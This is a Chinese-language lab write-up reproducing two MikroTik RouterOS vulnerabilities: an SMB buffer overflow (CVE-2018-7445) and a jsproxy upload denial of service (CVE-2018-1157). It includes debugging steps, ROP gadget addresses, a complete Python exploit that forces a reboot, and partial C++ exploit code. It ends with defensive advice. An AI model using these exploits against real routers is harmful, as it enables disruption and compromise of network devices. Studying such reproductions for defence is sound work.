mikrotik 漏洞复现(一)
字数 1287 2025-08-30 06:50:11
MikroTik RouterOS漏洞复现与分析
环境配置
- 从MikroTik官网下载对应版本的RouterOS镜像文件
- 新建虚拟机并完成安装配置
- 配置MikroTik终端IP地址
- 使用mikrotik-tools工具运行脚本开启telnet服务
CVE-2018-7445漏洞分析
漏洞描述
- 漏洞类型:缓冲区溢出
- 影响组件:SMB服务
- 漏洞位置:处理NetBIOS会话请求消息时
- 影响范围:运行6.41.3/6.42rc27之前RouterOS的所有架构和设备
- 利用条件:无需身份验证,服务开启即可利用
漏洞复现步骤
-
启动SMB服务
- 在MikroTik虚拟机中确认SMB服务状态
- 在Ubuntu中查看进程确认服务已启动
- 通过Web服务验证访问
-
提取分析二进制文件
- 提取有漏洞的smb二进制文件
- 使用IDA分析:ELF 32-bit格式,几乎没有保护机制
- 定位漏洞代码位置:0x08054607
-
调试环境搭建
- 上传gdbserver.i686到虚拟机
- 附加调试程序:
./gdbserver.i686 localhost:1234 --attach 302 - 本地gdb连接:
gdb set architecture i386 target remote 192.168.72.140:1234
-
漏洞触发分析
- 在sub_806B11C函数下断点
- 使用smbclient发包:
smbclient -L //192.168.72.140 - 使用Wireshark抓包分析
- 修改数据包绕过检查条件
-
构造利用载荷
- 确定溢出长度:64字节
- 构造ROP链:
- 使用vdso中的gadget:0xffffe422 (int 0x80)
- 寄存器传参gadget:
- 0x0804f7da (pop eax ; pop ebx ; pop ebp ; ret)
- 0x08054017 (pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret)
-
最终利用
- 执行系统调用SYS_execve
- 成功使系统重启
完整EXP代码
import socket
from pwn import *
# SMB二进制数据包
smb_packet = bytes.fromhex("""
81 00 00 ec fe 53 4d 42 40 00 00 00 00 00 00 00
00 00 1f 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 ff ff
""")
smb_packet += b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaa"
# 构造ROP链
int_0x80_popebp_popedx_popecx_ret = 0xffffe422
popedx_popecx_popebx_popesi_popedi_popebp_ret = 0x08054017
popeax_popebx_popebp_ret = 0x0804f7da
str_sh_addr = 0xffffe436
payload = p32(popedx_popecx_popebx_popesi_popedi_popebp_ret)
payload += p32(0x1234567) + p32(672274793) + p32(0xfee1dead) + p32(0) + p32(0) + p32(0)
payload += p32(popeax_popebx_popebp_ret)
payload += p32(0x58) + p32(0xfee1dead) + p32(0)
payload += p32(int_0x80_popebp_popedx_popecx_ret)
payload += b"a"*0x100
smb_packet += payload
# 配置目标
target_ip = "192.168.72.140"
target_port = 445
# 发送攻击包
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
print(f"[+] Connecting to {target_ip}:{target_port}...")
s.connect((target_ip, target_port))
print("[+] Sending SMB packet...")
s.sendall(smb_packet)
try:
response = s.recv(4096)
print(f"[+] Received {len(response)} bytes in response:")
print(response.hex())
except socket.timeout:
print("[-] No response received (timeout)")
CVE-2018-1157漏洞分析
漏洞描述
- 影响组件:www服务(80端口)
- 利用路径:/jsproxy/upload
- 利用方式:发送特制的POST请求导致资源耗尽
漏洞复现步骤
-
服务分析
- 确认www服务运行状态
- 使用bp抓包分析POST请求
- 请求路径为/jsproxy,数据被加密
-
定位漏洞组件
- 找到jsproxy处理程序
- 确认其为共享库(.so文件)
- 在www程序中找到加载的jsproxy.p文件
-
漏洞定位
- 漏洞位置:sub_774BBE9F函数
- 漏洞成因:循环解析数据时未正确处理长度限制
-
构造利用
- 使用RouterOS官方提供的C++ winboxapi库
- 构造超长文件名(超过0x100个字符)
- 多次发送请求耗尽系统资源
部分EXP代码
if (!jsSession.negotiateEncryption(username, password)) {
std::cerr << "Encryption negotiation failed." << std::endl;
return EXIT_FAILURE;
}
std::string filename;
for (int i = 0; i < 0x200; i++) {
filename.push_back('A'); // 填充超过0x100个字符
}
if (jsSession.uploadFile(filename, "lol.")) {
std::cout << "success!" << std::endl;
}
防御建议
- 及时更新RouterOS到最新版本
- 关闭不必要的服务(SMB、jsproxy等)
- 限制对管理接口的访问
- 配置适当的资源限制防止DoS攻击
- 监控系统日志异常行为
总结
本文详细分析了MikroTik RouterOS中的两个严重漏洞(CVE-2018-7445和CVE-2018-1157),包括漏洞原理、复现步骤和利用方法。通过这两个漏洞的复现过程,可以深入理解RouterOS的安全机制和漏洞利用技术。